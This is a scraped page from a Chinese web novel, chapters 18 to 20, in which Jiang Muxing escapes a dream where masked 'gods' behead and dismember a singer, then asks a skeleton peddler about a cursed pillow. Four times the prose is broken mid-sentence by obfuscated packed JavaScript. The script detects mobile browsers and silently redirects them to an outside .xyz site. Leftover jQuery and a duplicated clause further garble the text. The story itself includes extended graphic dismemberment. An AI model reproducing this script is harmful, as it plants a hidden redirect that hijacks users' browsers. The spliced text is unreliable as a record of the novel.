0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612212|155044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >此刻天色已经彻底暗了下去,云府里也点起了白灯笼。黄绿色的烛火安静燃烧,灯笼挂在树梢枝头摇摇晃晃,欲坠不落。 氤氲池边中央的歌者正将赤着的双足浸泡水中,脚踝上一串火红色的铃铛叮当作响:“万里不足步,轻举凌太虚。飞腾逾景云,高风吹我躯。”③ 木头面具依旧平滑如镜。 姜慕星一愣,她刚刚……是坐在这里看百戏吗?好像有什么事情顺序不太对,但她此刻也说不上来。环顾四周,坐在桌边的众人都是木雕的脸,短粗的手。 水面漂浮的鲜花已经有些发黄,那股馥郁的香气已然散去;空气中逐渐弥漫一股淡淡腥臭,像极了花大娘用鱼肠堆的肥料味儿。 ……花大娘,是谁来着? 姜慕星刚揉了揉眉心,就看到素衣簪花的歌者如同一尾游鱼径直滑入水中。随后七位头戴冠冕的舞者中,穿着黑衣和穿着葱黄衣的两位排众而出,立于云台正中。 见到这两位舞者,云老太君的腹腔中爆发出令人痛苦的吱扭声。 仿佛她那木头柱子的身躯里有什么东西正在用指甲抓挠木板,可又有谁能够徒手抠挖木料,使其发出这样的声响? 姜慕星抬手捂住耳朵,不忍多听。 虽然不晓得舞者扮演的是何人,但看装扮,应该也是一位神君。这两位神君似乎非常遭云府众木人记恨,他们腹中纷纷发出相同的吱扭声,高低不一,此起彼伏。 这忿怒的声响,竟将高亢的画角声都遮住了。 而穿着黑衣的“神君”身量和素衣歌者一模一样,若非装扮不同,姜慕星险些以为这俩是同一人。黑衣“神君”的舞步相较素衣歌者,杀伐之气更重,动作也更僵硬些。 与其说是在舞之蹈之,倒不如说是在发泄怒气。 “恨呐——!!” 黑衣“神君”忽然大喝一声,姜慕星浑身一震,看向他的眼神中忍不住带了一丝畏惧。葱黄衣的“神君”拍了拍他的肩膀,比了个抹脖子的动作。 “竟不从吾之命令,纵然是兄弟又如何——!”黑衣“神君”重重一跺脚,“也罢也罢,自寻死路,吾成全便是!” 葱黄“神君”耸肩发出嘻嘻嘻嘻的笑声,似乎在庆幸奸计得逞。他回转过去融入其他未曾走动的“神君”们,彼此冕旒触碰,玉珠相撞,当啷作响。 看来交流颇为热烈,情绪也十分激动。 姜慕星看着台上的“神君”们,不知为何一阵作呕。但她腹中空空如也,连酸水都吐不出来。 看到此刻她也懂了,出于不知名的原因,歌者饰演的“神君”与其他“神君”不和,其他“神君”背地里制定了谋害“她”的计划。 为首的就是那位黑衣“神君”。 等素衣簪花的歌者再度从水墨浸染的山峦中缓缓而下,作行云布雨之态时,黑衣“神君”已经悄然出现在她身后不远处,手中寒光闪闪。 姜慕星焦急不已,紧盯着歌者,想要出声提醒她小心。 乐声突然停了,一瞬间天地无声。 黑衣“神君”扭转头,木头和木头之间缺乏润泽的嘎吱声此刻盖过了姜慕星如鼓的心跳声。 嘎吱——嘎吱—— 咚—咚—咚—— “他”冲着姜慕星比了个“嘘”的手势,然后一刀从背后割开了歌者的脖子。 18. 第 18 章 那一刀干脆利落地割开了歌者修长如天鹅的脖颈,她甚至来不及发出一声短促的呐喊。 黑衣“神君”动作迅猛且狠毒,切开咽喉犹嫌不足,他一边捂住歌者的嘴,一边用力将匕首拉向一侧。 咯吱——咯吱—— 刀锋与骨头之间互相摩擦,发出凄惨古怪的尖叫。歌者似乎此刻才反应过来,自己被偷袭了。 可已经被割开气管的歌者无论如何,都无法发出惨叫,也无法进行任何还击。她徒劳且苦闷地伸出手指试图捂住伤口,可滑腻的鲜血依然不断涌出,将歌者的身体彻底染红。 黑衣“神君”松开歌者,任由她倒在台上。似乎担心歌者还有反抗的能力,他干脆伸出脚用力踩在歌者的后心,一只手抓住她的长发用力向后扯起。 咯吱——咯吱—— 匕首继续切割,黑衣“神君”甚至发出了畅快的笑声,直到歌者彻底倒在云台之上,再也无法动弹。 头,被切下来了。 姜慕星从来都不知道,人的身体里能喷出那样多的血液。就像一个被暴力打碎的水泵,血液迫不及待地从断头的身躯里向外狂飙。 她也从来都不知道,当真实面对她也从来都不知道,当真实面对凶暴的杀戮时,她也会害怕的发抖;只是张大嘴巴无声呐喊,连尖叫都困在嗓中无法发出。 血是那样的多,多到洒满云台肆意流淌,多到让窃窃私语的诸位“神君”们都变成红衣赤面,发出畅快的哄堂大笑。 他们笑的那么开心,他们围着台中央断头的歌者又唱又跳;乐曲也重新奏响,画角声尖锐凄厉,但依然盖不住“神君”们的喜悦之情。 “假,假的吧……”姜慕星浑身颤抖,喃喃自语。“是,是特效吧,一定是特效!这也太真实了,月家班演的……” 她嘴唇抖了几下,“太好了”这三个字终究还是没能说出口。 就在姜慕星以为这一折戏算是结束时,黑衣“神君”却拎着那颗头缓缓转过了身。他光滑的面具沾满了血,恶毒的笑意却从细枝末节里不断向外扩散。 黑衣“神君”嘲弄地拨弄了一下那颗依然在滴答鲜血的头颅,做作地把头的正面对准姜慕星的方向。 …… 姜慕星盯着月洞门上的大片污迹,只觉得天旋地转,手酸脚软。 她来过这里,她一定来过这里! 姜慕星用牙齿狠狠地咬了一下舌尖,瞬间尖锐的疼痛席卷全身,云山雾罩的脑子瞬间清醒了大半。 “我叫姜慕星,是阳夫子的养女和徒弟。”姜慕星一边吞下混有血液的口水一边含糊又快速地自言自语。“这里是云府,我是代替夫子来为云老太君贺寿的。” 她将这句话重复了三遍后,再度看向熟悉的月洞门。上面依旧挂满了枯萎的爬山虎,还有布满裂痕的墙面,以及蛛网遍布的干枯枝丫。 姜慕星小心地穿过月洞门,树梢上的白灯笼依然亮着烛火,黄绿色的光芒在风中一摇一摆,好像在对她发出嘲弄的笑声。 她目不斜视径直朝前跑去,她也不会再去偷听持扇侍女的对话。反正她们说的东西姜慕星已经全部知晓,接下来会发生什么她心知肚明。 只是,当姜慕星越过持扇侍女时,她还是没忍住回头看了一眼。这一眼让她呆立原地,差点没迈出下一步。 在她模糊的印象里,持扇侍女应当是面容呆板的木头人;可她现在看到的,却是两个惟妙惟肖的纸扎人! “什……” 姜慕星瞪大双眼,艰难地咽下口水。 绷紧的白纸上只画了一双惟妙惟肖的眼睛,除此之外一切皆无。 姜慕星不寒而栗,她不知道纸扎侍女要用这画出来的眼睛见证什么,她只知道这个自己必须要从云府逃出去。 姜慕星拔腿就逃。 但无论她如何努力,最终都会回到月洞门前。姜慕星下意识伸手去摸自己的腰间,结果却摸了个空。 “冷静,不能慌。”姜慕星原地深呼吸,强迫自己冷静下来。“会有办法的。” 从慌乱中缓过神来的姜慕星坚定地迈进月洞门,在听完纸扎侍女的对话后,她径直朝着荣寿堂走去。 荣寿堂比起月洞门更加破败,匾额落在地上碎成几块,上面布满灰尘。金漆也已经全部剥落。门窗上的纸糊不见踪迹,黑漆漆的正堂内唯有纸扎人用双眼紧盯着她。 姜慕星本来已经做好了纸扎人发难的准备,但纸扎的云老太君用呆板空洞的声音说着重复的台词:“娃娃……我带你,去,去看戏……” 那双手依然扣在她的腕上,姜慕星想要直接扯开,但触碰到云老太君的纸手时,她竟感觉到了一丝微弱的脉动。 有什么东西在纸扎人的腹中跃动,就像……之前在木偶人腹中有什么在抓挠一样。 姜慕星垂下眼眸,任由纸扎人们簇拥着她再度来到氤氲池边。此时此刻的氤氲池不如说是血池,水面上漂浮着一层红到发黑的血液。 血溶于水是常理,但从歌者脖颈中喷涌出的血液却固执地浮在水面。不仅如此,那些血液如活物般微微涌动,似乎想要回到主人的躯体中去。 池边的桌子上满是灰尘,上面摆放的各色珍馐早已腐坏殆尽,只留下脏污的遗骸。 姜慕星没有落座,纸扎人们也同样伫立原地,他们用惨白面孔上仅有的双眼,注视着云台之上戏剧的继续。 歌者的身体一动不动,原本曼妙的身姿不复存在;无论生前如何,死后仅仅是一具会腐朽化灰的皮囊。 姜慕星不懂,为什么他们要杀死歌者扮演的“神君”。难道这位神君做错了什么吗?不,或许不应该这么问。就算“她”没有都没有做错,他们也有足够的理由去杀死“她”。 所欲所求,无非利益罢了。 姜慕星没有听懂唱词,也不知道其中内情。但有一点她十分清楚,歌者所扮演的“神君”是因谋杀而死,《云散高唐》就是在讲这件事。 但“神君”们并未散去,还有什么事即将发生。那件事一定非常可怖,一定是惨绝人寰,无法令人原谅的。否则姜慕星身边的纸扎人们,也不会发出如此凄厉的叫喊声。 姜慕星没有捂住耳朵,她要听,她要看。她要听云府的人们在呼喊什么,她要看这些“神君”究竟还要做出何等暴行。 黑衣“神君”手里依然拎着歌者的头颅,他抬起另一只手懒洋洋地挥动了一下。原本静止不动的其他“神君”,此刻就像闻到了腥味的苍蝇般扑了上来。 他们平滑的面上都写满了贪婪,他们将无头的尸体拖拽起来,甚至还有闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630173|155044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情逸致将她摆弄成生前那般优雅的姿态。 姜慕星头昏脑闷,胃里的酸水不断翻涌。她竭尽全力忍住这股作呕的冲动,在纸扎人们愤怒的,悲伤的,绝望的呼喊声中继续看下去。 “神君”们伸出手来,每个人都抓住了他们要想的部分。顽皮的孩童在争抢玩具一样,他们用力拽了起来。 嘎吱,嘎吱。 “拉大锯,扯大锯,去云家,唱大戏。唱大戏,笑嘻嘻,他们哭,咱欢喜呀,咱欢喜。” 他们突然又开始唱能被听懂的歌谣了,腔调古怪满怀恶意。 无头的肢体已经被拉扯紧绷,衣服不堪重负已然发出裂帛声。但这明显不是“神君”们的目的,他们想要的还有更多更多。 “住,住手……”姜慕星艰难地开口阻止,胃里的酸水就像活过来一样,不断地翻涌冲击她的喉口。“不要……不要这样……” 眼泪从眼眶不自觉地滑落,冰冷的泪水打湿了她的衣襟。但在“神君”们的继续撕扯下,最先断裂开的,是双臂的肌腱。 伴随着双臂被撕裂,紧接着就是双腿。 歌者的残躯如同破烂的玩偶,被粗暴的扯开。饶是如此还不能够,他们一边发出聒噪的交谈声,一边将手足从残肢上拧下,就好像在扭断过于柔韧的树枝。 里面的骨头都断裂了,皮肤还顽固地绷着。流了一手的汁液,啊呀呀,令人心烦的顽强。 吱扭,吱扭。 三下、两下,终究还是扯开了。 白森森的骨头从断裂处蛮横地支出,大团大团的血污由断口涌向地面;因为是被蛮力撕扯下的,因此断口支离破碎,碎肉和骨渣落的满地都是。 ——仅仅是杀死了“她”还不够,得彻底分开才安心。 “哕——” 姜慕星再也忍不住,她终于吐出来了。但她恍惚间看到吐出来的也不是透明的胃液,而是同样红黑色的血块。可当她再去看时,地上的污秽却消失不见,只留下她嗓子里火辣辣的痛感在提醒她,刚才并不是幻觉。 纸扎人们再也忍受不住这样的痛苦与耻辱,他们开始暴动,静滞的身躯涌现出莫大的力气。可即便如此,他们纸做的身躯还是过于脆弱。 纸壳因为暴动而破裂,里面黄绿色的光在不断向外溢出。枝头的白灯笼摇晃的更加厉害,一摆一摆的竟将纸扎人里溢出的光芒全部吞吃入腹。 台上台下,拉扯都在继续。 姜慕星抬起手背擦了擦嘴角残留的胃液,深深地,深深地吸进一口腥臭扑鼻的空气,然后再缓缓地吐了出来。 她闭了闭眼睛,重新看向云台。 黑衣“神君”一直在盯着她,见姜慕星将目光投向这边,便用血在自己的面具上画了一个呲牙咧嘴的笑。像是在嘲笑姜慕星,又像是单纯觉得好玩。 姜慕星的手握了握,要闹场的时候没有带趁手的武器确实不太好。 但是没关系,姜慕星随手折下一段垂柳,然后手挽剑花击碎白灯笼,让里面被困的黄绿色光芒逃出生天。 云老太君说过,他们都是死去神君的信者,阳夫子也是。那么无论是从各种角度来说,她都有理由为死去的神君拔剑。 姜慕星比了个起手式:“阳夫子门下姜慕星,前来讨教诸位‘神君’!” 19. 第 19 章 听到她说出这么一番话来,黑衣“神君”歪了歪头。 而那些撕扯肢体的“神君”们,也停止了动作,不同方向的头都朝着姜慕星的方向拧了过来。 被这样诡异的盯着看,饶是姜慕星胆大,也不由得脊背发凉。话是撂下了,架也是要打的。 她迈开步子,朝着氤氲池的水面用力踏下。 可想象中一脚入水中,让水花和血花一起飞溅的场景并没有出现。姜慕星的脚被固定在了原地,就这么抬着脚动也不能动了。 “神君”们可不会让她现在来坏自己的好事,他们的“分赃”还没结束。这一折戏在演完之前,任何人都不能,也无法破坏精心搭建的舞台。 姜慕星被无形的力量拉扯着,如同傀儡戏台上的小傀儡。她愤怒地看向云台,手背上青筋暴起,但就是无法移动分毫。 无形的束缚死死的缠着姜慕星,并且像绞索一样越缠越紧。如果她不想办法挣脱开,等台上的分、尸结束,下一个四分五裂的恐怕就是她自己了。 必须要想个办法,让自己从这个状态里挣脱出来。姜慕星一边想,一边奋力向上抬起手。即便只能抬起一点也好,她可以的,她能做到。 就这么慢慢的,慢慢的用几乎肉眼不可见的速度,姜慕星终于将手腕抬起。而因为过度挣扎,她白皙的手臂上已经出现大片淤青。有几处看着尤为可怖,仿佛指甲一划就会流出脓血来。 但姜慕星根本顾不上这些,她紧盯着云台上。他们每个人都分走了歌者的一部分,双臂、双腿、手足都已分割完毕,可还有“神君”没有拿到属于自己的那一份。 于是失去了四肢的身躯被残暴扯开,如同扯开一只装满水的破皮袋。噗嗤一下就开膛破肚,里面的内脏哗啦啦掉了一地。 噼里啪啦的,有一块不知道是肝脏还是什么的东西,圆润的滚动着、蹦跳着落入水中,发出“咕咚”一声脆响。 姜慕星又想吐了,她强硬地将这反应压下。她不能移开视线,她要看着,亲眼看着他们还要如何施暴。 肋骨被掰开,一根根折断。他们折起骨头来,就像在攀折花枝一样,漫不经心,毫无顾忌。 咔吧,咔吧。 被折断的肋骨摇摇晃晃的挂在皮肉上,只剩下中间的脊椎仍在孤零零支在那里。有一只手粗暴地拽走了脊柱,又有一只手摘走了心脏。 而剩下这空荡荡的小皮囊,被随意地拎在手上。 当每个“神君”都拿到属于自己的那一份后,黑衣“神君”从怀中摸出戏本丢向空中。戏本在空中哗啦啦的翻页,吧嗒一声落在地上。 他发出一阵无法模仿的怪笑,笑得浑身颤抖,笑得左摇右晃。 “《云散高唐》演毕。”黑衣“神君”尖锐地说道,“今日戏毕,诸位请回罢。嘻,嘻嘻嘻……” 随着他这一番话,云台上被糟蹋的不成样的山水图景此刻开始逐渐消散。拿着身体部位的“神君”们发出得逞的尖笑也要藏匿起身形。 眼看着布景就要完全消失,姜慕星心急如焚。如果让他们就这么消失掉,恐怕自己真的会被困死在这个云府里。她必须想办法,必须想到一个他们无法拒绝的办法。 可姜慕星真的不知道要如何破解,她额角冒出大颗大颗的汗珠,眼睛死死地盯着逐渐消散的云台。 就在这个时候,纸扎的云老太君的声音颤颤巍巍的传来:“娃,娃娃……你,你可,可看好戏了……吗?” “!!”姜慕星听到云老太君的声音,精神立刻振奋了起来。“老太君,我还没看好呢!” 虽然不晓得云老太君为什么此时此刻会问她话,但只要能说话,就代表可以破局! 云老太君的声音如同从井底传来,带着空荡荡的回音:“没,没看好……没看好,就,就让,让他们再,再演一出……” 听到“再演一出”,云台上的“神君”们顿时僵立原地。而姜慕星也发现,消散的云台正在慢慢的重新被固定住,除了那些被晕开的层峦叠嶂之外,云台上任何东西都没有改变。 黑衣“神君”光滑的面具上露出惊怒的表情来,这神态格外可怖,但在姜慕星看来,他实在是有些滑稽可笑。 “是了是了,主家还没点戏,戏班子是不能散场的。”姜慕星忍不住放声大笑,“老太君,那下一折戏就由我来点吧!” 纸扎的云老太君也奋力用最响亮的声音回应:“……娃,娃娃……你尽管……尽管点……云,云……” 她还想说什么,但似乎气力已经不足以支撑她说完。纸扎的云老太君从中间骤然裂开,绷面皮的纸碎成一地,竹编的框架也断裂开来。那团黄绿色的光芒惊慌失措,摇摇晃晃的想要逃离。 黑衣“神君”冷哼一声,伸出手正要一把抓住这团搅局的光芒。但姜慕星还是快人一步,她手指并剑指,厉声怒喝。 “魂兮归来——!” 空中骤然炸响一声惊雷,“神君”们悚然抬头,只见此方天地被什么东西撕裂开一道缝隙。昏暗无光的夜幕下有一丝光,正努力地透过黑压压的云层照射下来。 伴随着姜慕星的爆喝,不仅是云老太君的光,就连其他纸扎人身体里,还有白灯笼里的光芒都挣脱束缚,争先恐后不约而同钻入姜慕星的掌心。 “……我会的。” 光芒入手时,姜慕星听到了一些絮絮低语。那低语如泣如诉,令人潸然泪下。但现在还不是哭泣的时候,姜慕星还有重要的事没做完。 “我要点戏。”姜慕星一字一顿的说着,她一边说一边将手中的光芒揉捏挤压,然后拉长塑形。“我要点,李寄斩蛇!” 她的话音落下,手中的光芒已被捏成一把锐利的长剑。而落在地上的戏本自己飞了起来,哗啦啦的翻动着,然后再度落在地上。 黑衣“神君”失态地尖叫一声,想要扯碎戏本,但戏本上硕大的“李寄斩蛇”四个字牢牢贴在了他的木头面具上。 姜慕星能动了,她随手挽了个剑花,然后提气发力,将轻功运用到极致。连足尖都没有被血水沾染, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630174|155044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜慕星如同一只孤绝的飞鸟,落在了血污遍地的云台上。 她来入戏,她来——斩妖除魔。 “咣——!” 锣鼓奏响,戏已开场。就算黑衣“神君”再心有不甘,此刻已然大势已去。“神君”们就在她的眼前发出气管被扭曲的痛苦哀嚎,紧接着他们被硬生生拉长,变形。 咔——咔—— 啪——嘎—— 他们的身体如同兑水的陶泥,无形的手在揉捏摆弄。毫不留情地将不需要的部分扯下,就好像他们刚才撕扯歌者的身躯一样。 短时间之内看到两次这样冲击性的场面,姜慕星甚至有点麻木。她对“神君”们没有一丝一毫的同情,她的过剩情感在歌者死亡的时候,已经被大量消耗了。 没有更多的情绪,来为这群血腥的刽子手哀悼。 等他们被“塑形”完毕,云台也已被重新布置好。现在姜慕星就是《李寄斩蛇》中的李寄,她眼前横七竖八排列着的,就是为祸人间以人为食的妖蛇。 ——恨他们吧,那就全部,杀掉吧。 有什么声音在姜慕星耳边絮絮低语,听上去好像是云府众人的殷殷期盼。姜慕星紧握手中长剑,差一点就起心动念。 在某一瞬间,她或许真的恨着他们。 但长剑微微发烫,重新拉回了姜慕星的思绪。现在是戏台上,无论她在想什么都必须要演完这一出戏。 “算了,也没有什么唱词好唱的。”姜慕星怒喝一声,“妖孽,纳命来!” 姜慕星提剑杀向“大蛇”的那一瞬间,她突然走神了一下。 ——我应该谢谢那个塑形的家伙?毕竟他们都是人形的话,或许我也不会这么干脆就动手。 阳夫子在传授剑法的时候,教学向来严格到严苛。他从不希望姜慕星他们,因为没有打好基础而遭受意外。 为人父母,所盼望的无非是儿女顺遂,仅此而已。 而姜慕星对于剑道的学习,可谓是万中无一。她从来没有想过自己会是如此优秀的剑客,对她来说握剑然后出招,就像呼吸一样自然。 鸟不会想自己如何能飞,鱼不会想自己如何能游。当剑光闪烁的刹那,黑衣“神君”的头已经咕噜噜滚落水中。 “我还以为你的血是黑的。”姜慕星转身,重新起手。“你们一起上吧,我赶时间。” 光滑的木头面具上裂开血盆大口,蛇的口腔人的牙齿,六条大蛇齐齐扑来,要将她立毙当场。 姜慕星翻转手腕,凝神定气后挥动手中长剑。她没有去看自己的剑招落在何处,也没有去管他们究竟被削成了几段。 她盯着手中的长剑,看着染血长剑慢慢的崩解成一颗一颗的小小光球。那光球绕着她飞舞三圈,然后融入她的眉心。 天空裂开的缝隙越来越大,一边裂开一边发出声响。 姜慕星在光芒笼罩自己的瞬间,想起了她一直在想但总是记不清的那件事。 “死去的神君,那神君……是不是云中君?” 20. 第 20 章 当姜慕星睁开双眼时,浮一道长正在面盆架旁边拧着洗脸帕子。 滴答作响的水声让她有一瞬间的恍惚,下意识以为自己还困在云府的氤氲池前。 “娃娃?”浮一道长转过身来看向姜慕星,“嗨呀,你可算是醒过来了。醒了就好,醒了就好。” 说着他走到床边扶起姜慕星,顺便伸手摸了摸她额头。她这才发现自己浑身无力,贴身的寝衣也冰冷黏腻地贴在身上,令人难受。 “道长,我这是怎么了?”姜慕星靠在床头喘了口气,只是坐起来这么简单的动作,竟让她又出了一身虚汗。 浮一道长用帕子给她擦了擦脸,语气和缓又带着点安抚:“你睡了整整两天,还发高烧。不过刚刚已经退了烧,桌上有熬好的药,你记得喝下。” “哎,我晓得了。” 浮一道长见她已经清醒,便说:“灶上还做着饭,你一会儿过来吃点。” 姜慕星看着浮一道长推门出去,她咬牙在床上努力盘腿坐好。她心中默念吐纳口诀,运起丹田中的玉琼思。 玉琼思游走两个大周天后,姜慕星身体泛起暖意,这才有了梦醒的实感。 她有些愣神,片刻后姜慕星猛然转过头看向床头,那个木枕头还安静地躺在那里。 姜慕星立刻丢开手里的帕子,将木枕头一把抓了过来。结果枕头一入手,她就察觉到了不对劲。 “之前枕头不是这个花纹吧?”姜慕星瞪大双眼,她记性很好,不可能会记错。“上面不是云纹吗,怎么现在变成这个样子了?” 木枕一圈的华美云纹赫然变成了连环画卷,雕刻的内容正是云府戏台上演的那一出《云散高唐》。 恍惚间,她似乎又闻到了那股浓郁的血腥气。 姜慕星摇摇头,将脑子里已经浮现的场景全都摇散。然后她将枕头放下,趿拉着鞋走到桌边将又冷又苦的药一口喝掉。 浮一道长还在厨房里忙活餐食,姜慕星大病初愈,得吃点软乎的东西。刚发现姜慕星发烧昏睡的时候,他还有些惊讶。 毕竟作为修士,普通病痛可没办法让她意识混沌,无法起身。 但浮一道长用天目去看,并未发现她被邪祟缠身,也没有中什么离奇术法。 无论怎么看,姜慕星就只是发烧而已。 他将白粥舀在碗里,刚放至灶台,一转头就看到姜慕星缓慢的进了厨房。 “看来确实好了不少。”浮一道长看她面色红润,点了点头,“不管发生什么,总要顾及自己身体。修炼要紧,但也要爱惜身体。” 看来浮一道长是觉得她只是因为修炼过度才发烧,并没有多想。姜慕星默认了他这个想法,拿着勺子慢慢的吃完了热腾腾的粥。 “呼,吃饱了果然好多了。”姜慕星用水洗干净空碗放好,对着浮一道长鞠了一礼。“多谢道长费心了。” 浮一道长嫌弃地咂嘴:“照顾晚辈是贫道分内之事,你这娃娃年纪轻轻规矩倒多。” “我就当您是称赞我有礼貌了。”姜慕星总算笑了起来,但眼中的疲惫依然掩盖不住。“对了,我这两天生病只是昏睡吗?” 浮一道长点点头:“你睡得很沉。放心吧,贫道去看的时候你没踢被子也没说梦话。” “原来如此。”姜慕星迟疑了一下,还是问了她一直在意的问题。“道长,有件事我想问问你。就是开了天目后,并不是所有东西都可以用天目探查究竟吧。” 听到她问起这个,浮一道长还有些诧异:“当然,天目能看到异常的多寡取决于你的修为高低。如果对方的修为远高于你,你的天目自然看不到真相。” “……这样啊。”姜慕星点点头,“我还以为只要开了天目,什么都能看到呢。” 浮一道长笑着摇摇头,他还有别的庶务要处理。这两天城隍庙里也没有别的事,他叮嘱姜慕星按时吃药,多多休息。 姜慕星回到房间,盯着床上的枕头。看来这枕头的能耐远超她的能力,就连浮一道长也没看出其中关窍。 “要告诉夫子吗?” 姜慕星记得阳夫子也是云中君的信者,说不定他知道这东西的来历。 但不知为何,她有些抗拒告诉别人。哪怕是最亲近的阳夫子与贺豆豆,她都不太想将木枕和噩梦的事说给他们听。 “告诉他们的话肯定会担心。”姜慕星这么安慰自己,“到时候肯定大惊小怪,说两句就算了,要是因此不让我出门可就麻烦了。” 话虽如此,但她还是很好奇云府与云中君的事。还有梦里上演的那一出《云散高唐》,她虽勘破梦魇,却始终不太理解那一出戏想告诉她什么事。 想到这里,姜慕星便起身去城隍庙的书房。浮一道长说过可以随意翻阅典籍,说不定里面就有能解答疑问的东西。 但姜慕星在书库里待到天黑,也没能找到任何一本说到云中君的典籍。 记载其他神君的典籍倒是找到了不少,不知为何清宝天尊的相关典籍最多。 “这就怪了。”看了一天的书,姜慕星有些疲惫。“既然云中君还有信者存在,那为什么关于他的典籍一本都没有。难道他的相关信仰被禁止,他被除名了?” 她回想起《云散高唐》里血腥分尸的一幕,还是忍不住打了个寒噤。 临睡前,姜慕星思前想后还是没挪开木枕。她有些好奇,再枕着它入睡,会不会再度回到云府。如果能回去的话,说不定可以在那里找到一些线索。 抱着这样的想法,姜慕星忐忑又期待地睡着了。她本以为自己会辗转反侧,熬到实在撑不住才会睡着。没想到又是头一碰枕头,眼皮就不自觉地黏在一起,完全拉不开。 她这一觉睡得极好,什么梦都没有做。第二天睁眼的时候,精神极好的姜慕星坐在床上扼腕不已。 看来在梦里找线索这条路已经被截断,说不定就是因为她在斩杀了月家班的戏子,那个循环的梦才会结束。但不斩杀他们的话,她肯定出不来。 姜慕星满怀心事但无事可做,只好坐在城隍庙的台阶上撑着下巴看过往行人。就在她晒太阳晒的快打瞌睡的时候,一个熟悉的吆喝声拉回了她的注意力。 挑着满满当当的货担,一边走一边卖吆喝的那个不就是演幻戏的骷髅货郎吗! 姜慕星瞬间清醒,她直接跳了起来,从台阶上一跃而下。她今日身穿黄色法衣头发被莲花木簪挽起,如同鹂鸟般轻盈落下。 “喂,那货郎!”姜慕星刚一落地,就喊了出来。“你过来我有事问你!” 骷髅货郎一抬头,下颌咔咔响了两声:“原来是同修,今儿可好。你有事找我?” “对啊对啊。”姜慕星猛点头,“那个……” 还没等她说话,骷髅货郎竖起指骨抵住牙齿:“莫慌莫慌,再着急也得待我卖完货。劳苦人家,全靠沿街叫卖才能养家糊口呐。” 他肩膀上坐着的小骷髅也连连点头。 “……行吧。”虽然姜慕星很着急,但她也不能耽搁别人的营生。“那我一会儿去哪里找你?你不会突然不见了吧?” 骷髅货郎被逗笑了:“怎么会呢,答应好的事我可不会爽约。这样吧,卖完货我会回到这里来。” 得到答复的姜慕星总算是安心了,她一边等骷髅货郎一边打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686838|155044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐。现在她的修为还是太低了,必须要想办法提升修为。她这一次脱离梦境纯粹是靠运气,下次再遇到类似的事,可能就没有这般好运了。 不知道是不是梦境之中的战斗给姜慕星带来了新的体悟,她运行玉琼思更加顺畅了。之前还玄之又玄的能量,现在也能稍微具象化成一股温和的水流。 她控制着玉琼思在体内游走,让它流遍四肢百骸。 等姜慕星再睁开眼睛的时候,已是月落星河。骷髅货郎坐在扁担上,看来他今日生意相当不错,两个箩筐都卖空了。 “恭喜同修。”骷髅货郎下颌咧开,“短短几个时辰不见,修为竟有精进。真是年少有为,不可小觑啊。” 姜慕星倒是没有很特别的感觉,只是觉得身体此刻格外轻松,就算不点灯她也能看清不远处牌匾上的字迹。不仅是视力,听觉和嗅觉都比之前更加敏锐。 但这种敏感并不会困扰她,因为现在的灵敏感官是可控的。 “先不说那个了。”姜慕星走到骷髅货郎面前,“关于那个枕头,我有事想要问你。……方便说吗?” 听到姜慕星这么小心,骷髅货郎摆摆手:“没什么不能问的,我只是一介货郎而已。客人出了钱在我这里买了货,我知道什么当然会如实相告。” 这句话放在之前,姜慕星只会觉得是客套。但此时此刻,她却从骷髅货郎的话里听出一股绿幽幽的凉意,这股凉意并非错觉。 “……玉琼思?”姜慕星还没见过有谁在话语间,就能将玉琼思引导出来。“好厉害,这是你的术法吗?” 骷髅货郎微微欠身:“雕虫小技,献丑了。这个不是术法,是我的‘规矩’。” 规矩。 好一个规矩。 姜慕星沉吟了一下开口:“那枕头会让我做梦,梦里有一个叫云府的地方。枕头是你从云府得到的吗?” 骷髅货郎微微歪头,一言不发。 沉默也是一种回答,姜慕星继续下一个问题:“作为行走江湖的人,你有没有听说过一个叫做月家班的百戏班子?” “听说过。”骷髅货郎说,“月家班以百戏闻名江湖,据说他们演的百戏会令人深陷其中无法自拔。修为不够的人看他们的百戏,会成为戏的一部分。” “不过,月家班最后一次出现是三百年前。我也很久没有见过他们了,或许戏班子的人死绝了吧。” 姜慕星微微瞪大双眼:“三百年前……难道我梦到的是三百年前的事?那你知道《云散高唐》这一折戏吗?” 听到《云散高唐》四个字,骷髅货郎浑身一僵。他空空如也的眼眶里骤然燃起两团绿幽幽的磷火,用这双冰冷燃烧的双目看着姜慕星。 “怎么了?”姜慕星后背有些发冷,但还是没有退缩。“这个不能问吗?” 